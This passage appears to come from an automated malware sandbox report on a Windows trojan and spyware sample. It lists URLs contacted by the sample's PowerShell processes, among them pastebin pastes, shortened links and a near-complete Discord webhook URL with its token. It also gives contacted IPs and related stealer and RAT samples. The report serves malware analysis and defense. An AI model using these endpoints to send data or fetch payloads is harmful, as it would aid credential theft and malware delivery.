https://pastebin.com/raw/zNCj2Utm8e	powershell.exe, 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.000002630129B000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000006.00000002.2377518393.000001E3471B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E29C13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A72CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykyduns	powershell.exe, 00000007.00000002.2391652138.0000014B42A75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercont	powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/	powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://discord.com	powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPN	powershell.exe, 0000000D.00000002.2357759046.00000235A68CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7BAF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/127665611921293	powershell.exe, 00000006.00000002.2377518393.000001E347FC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B443E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A61E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A8017000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1276656119212933271/ljgEyB7ad5w	powershell.exe, 00000006.00000002.2377518393.000001E347AB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43F94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A1F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7BC5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://0.discor	powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com	powershell.exe, 00000006.00000002.2377518393.000001E34673C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42C1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A684E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.0000029200226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDCA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022AE02B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80332000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB6C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E357E2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tinyurl.com/yeykydunU	powershell.exe, 00000008.00000002.2392338630.0000026E28CD5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tinyurl.com/yk3s8ubp	powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A684E000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.2638294290.000001E356521000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2638294290.000001E3563DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B528BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2687080170.0000014B52A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2681866347.0000026E38B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B6632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2564157225.00000235B64F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tinyurl.com	powershell.exe, 00000006.00000002.2377518393.000001E3471B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E346595000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42A75000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E29C13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28CD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A66A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A72CA000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://raw.githubusercontent.com	powershell.exe, 00000006.00000002.2377518393.000001E347A0D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43EF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7B25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CDB96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022AE01A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB5B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E356D7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.2377518393.000001E346371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28AC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.000002920001F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CD984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022ADFF81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB3A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E354B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2377518393.000001E346371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28AC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2756687116.000001E080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3418219553.000002920002F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2788362088.00000289CD984000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3446878228.0000022ADFF81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.3411776555.0000027B80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3453135803.0000028CBB3A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2729265774.0000026300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.3449821332.0000022E354B1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://0.discord.com/	powershell.exe, 00000006.00000002.2377518393.000001E34800A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B444EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A748000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A811C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pastebin.com	powershell.exe, 00000006.00000002.2377518393.000001E347998000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E78000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7AAB000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://pastebin.com	powershell.exe, 00000006.00000002.2377518393.000001E346707000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2377518393.000001E347977000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B43E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2391652138.0000014B42BE7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E28E47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2392338630.0000026E2A0B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A7A8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2357759046.00000235A6818000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
162.159.138.232	discord.com	United States	13335	CLOUDFLARENETUS	true
172.67.19.24	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true
104.18.111.161	tinyurl.com	United States	13335	CLOUDFLARENETUS	false
45.144.31.105	unknown	United Kingdom	42994	HQservCommunicationSolutionsIL	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1511703
Start date and time:	2024-09-16 08:21:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll (renamed file extension from exe to dll)
Original Sample Name:	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDLL@61/50@5/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 95% Number of executed functions: 21 Number of non-executed functions: 1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5616 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:22:13	API Interceptor	1x Sleep call for process: loaddll64.exe modified
02:22:13	API Interceptor	908370x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
162.159.138.232	http://relay.csgoze520.com/	Get hash	malicious	Unknown	Browse
	https://hkdiscord.antsoon.com/	Get hash	malicious	Unknown	Browse
	RebelCracked.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse
	lol.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	ExtremeInjectorV3.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	rnZ46.scr.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
	EWTrq1tK85.exe	Get hash	malicious	Unknown	Browse
	http://nike.m-h-azaddel9225.workers.dev/	Get hash	malicious	Unknown	Browse
	https://ipfs.io/ipfs/bafkreidlod2sf2qbeojthpzmf5gwqoobb7cnvdzcjrrzlcamwvyml57gry#electronics@victrex.com	Get hash	malicious	Unknown	Browse
	zamPeEkHWr.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse
172.67.19.24	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	i1XtJZAi.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.128.233
	Wire-transaction073921.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	mcbuilder.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	162.159.135.232
	ied6tTdm.posh.ps1	Get hash	malicious	Unknown	Browse	162.159.137.232
	Nursultan.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Blank Grabber, Rags Stealer, Umbral Stealer, XWorm	Browse	162.159.135.232
	https://clicker.extremelyorange.com/	Get hash	malicious	Unknown	Browse	162.159.137.232
	R.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	162.159.135.232
	TMPN.exe	Get hash	malicious	Skuld Stealer	Browse	162.159.128.233
	bkfaf34.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.128.233
raw.githubusercontent.com	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	SecuriteInfo.com.Win32.DropperX-gen.26059.13090.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	https://ascendtransportationllc665121.invisionapp.com/freehand/-4bO4Ia3X6	Get hash	malicious	HtmlDropper	Browse	185.199.111.133
	file.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	http://www.unlswap-v2.org/applications.html	Get hash	malicious	Unknown	Browse	185.199.111.133
	AX3-GUI-45.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	SecuriteInfo.com.Win64.MalwareX-gen.5183.18088.exe	Get hash	malicious	77Rootkit, AsyncRAT, DcRat	Browse	185.199.110.133
	VXLauncher.exe	Get hash	malicious	Empyrean, Discord Token Stealer	Browse	185.199.110.133
	Bootstrapper_1725724037599_1sly5.exe	Get hash	malicious	LummaC	Browse	185.199.111.133
	SecuriteInfo.com.Win64.PWSX-gen.14334.8980.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
tinyurl.com	balcao242609.vbs	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://ibafhfg.r.af.d.sendibt2.com/tr/cl/ei-iIasDUfhajlha_L_PYwmEV0TXG-pmymM0mqP6wJ8jqUBnRevpHf8umV1Cxk0P5A0G7qvQoF39O-oYwRH3RCdSdtx1Y0b_2sg_iXOax_tFc1XZBC3EPtztmZF7qOstNWb2r9nSAsjPU6qj2F8Gg64Ba0d6xBjSEwUcsnsTYaQjAxsh52QvEBY0E7yDJkW8hVMf4Z-UgTv6SrNDoDPMdYdSSvXdtLzPyBKNyGRyOKbA6kM2yCjc-39_2GjmQrGc8IG-6EqDH4Ly9S8KIsA	Get hash	malicious	Unknown	Browse	104.17.112.233
	http://tinyurl.com/fresn30d39d	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/NDCEurope	Get hash	malicious	Unknown	Browse	104.18.111.161
	https://sway.cloud.microsoft/lKpl4nBPezd0EfSe	Get hash	malicious	Unknown	Browse	104.17.112.233
	https://tinyurl.com/VYBGWANW	Get hash	malicious	Unknown	Browse	104.18.111.161
	crewssubaru doc.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.111.161
	https://tinyurl.com/3bfs8z6z	Get hash	malicious	HTMLPhisher	Browse	104.17.112.233
	https://tinyurl.com/EDODHTQN#em=heidi.wiebold@trapezegroup.com	Get hash	malicious	Phisher	Browse	104.17.112.233
	Quarantined Messages(1).zip	Get hash	malicious	Unknown	Browse	104.17.112.233
pastebin.com	PjkFCWhi.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.3.235
	client.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.20.3.235
	GKrKPXOkdF.zsb.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	bdsBbxwPyV.ena.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	fblXRRCHON.pos.dll	Get hash	malicious	Unknown	Browse	104.20.4.235
	GmsiIZXruf.hos.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	file.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.20.4.235
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.20.3.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	DONGHONG 8 - FDA.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Petronas request for-quotation.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
	f240ecb0-e96b-4ea8-82a8-92bc0559e7ad	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	M.V CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	09. Aragona Vessel's Details.xlsx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://pub-0be17334576c40e8a5075e59c7d71f7e.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	kov4PYY4pQ.exe	Get hash	malicious	DCRat	Browse	172.67.194.232
	https://www.pobretv.makeup/ptr	Get hash	malicious	Phisher	Browse	104.21.61.175
	https://links.rasa.io/v1/t/eJx1kM9ygjAQxl_F4VwkQCjgqS9QT71nlmS1sUKY3USHcXz3AlU8aK_Z3_cn3yUKdIw2q-jb-543ScJIJ6TWdWvCk2MP-metXZsw6SR6W0UtejDgYdRcInaBNE7yLZ75iN4jPUHYgp0jDFgetOvOMEghP_bT--Q9KQgYVIvMsEflh34xbcji7gvZf_4dF5hDc0Dt1aPDaNWGzvpBjSE7uw8E3rruTi7KB2fNpKvLMgeR7uK0MDJuSm1iyATEMq9FXr3rrJHVU0fGzqjxj3NyJjIZizoWcuEItSNzS0iLKi_ysnpRoUfiseM_3D2NwoLkaZ2Wohb1a4g54A3dum6eCxrlxwGV66c5lsv1ev0FnZaojQ==#bWNpbnR5cmVyQGJlaW4ubmV0	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
CLOUDFLARENETUS	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	DONGHONG 8 - FDA.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Petronas request for-quotation.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
	f240ecb0-e96b-4ea8-82a8-92bc0559e7ad	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	M.V CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	09. Aragona Vessel's Details.xlsx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://pub-0be17334576c40e8a5075e59c7d71f7e.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	kov4PYY4pQ.exe	Get hash	malicious	DCRat	Browse	172.67.194.232
	https://www.pobretv.makeup/ptr	Get hash	malicious	Phisher	Browse	104.21.61.175
CLOUDFLARENETUS	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	DONGHONG 8 - FDA.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Petronas request for-quotation.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
	f240ecb0-e96b-4ea8-82a8-92bc0559e7ad	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	M.V CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	09. Aragona Vessel's Details.xlsx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://pub-0be17334576c40e8a5075e59c7d71f7e.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	kov4PYY4pQ.exe	Get hash	malicious	DCRat	Browse	172.67.194.232
	https://www.pobretv.makeup/ptr	Get hash	malicious	Phisher	Browse	104.21.61.175

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.MalwareX-gen.5836.3825.exe	Get hash	malicious	Unknown	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	DONGHONG 8 - FDA.pdf.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
	M.V CHARIKLIA JUNIOR - PARTICULARS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.20.3.235 162.159.138.232 172.67.19.24 185.199.109.133
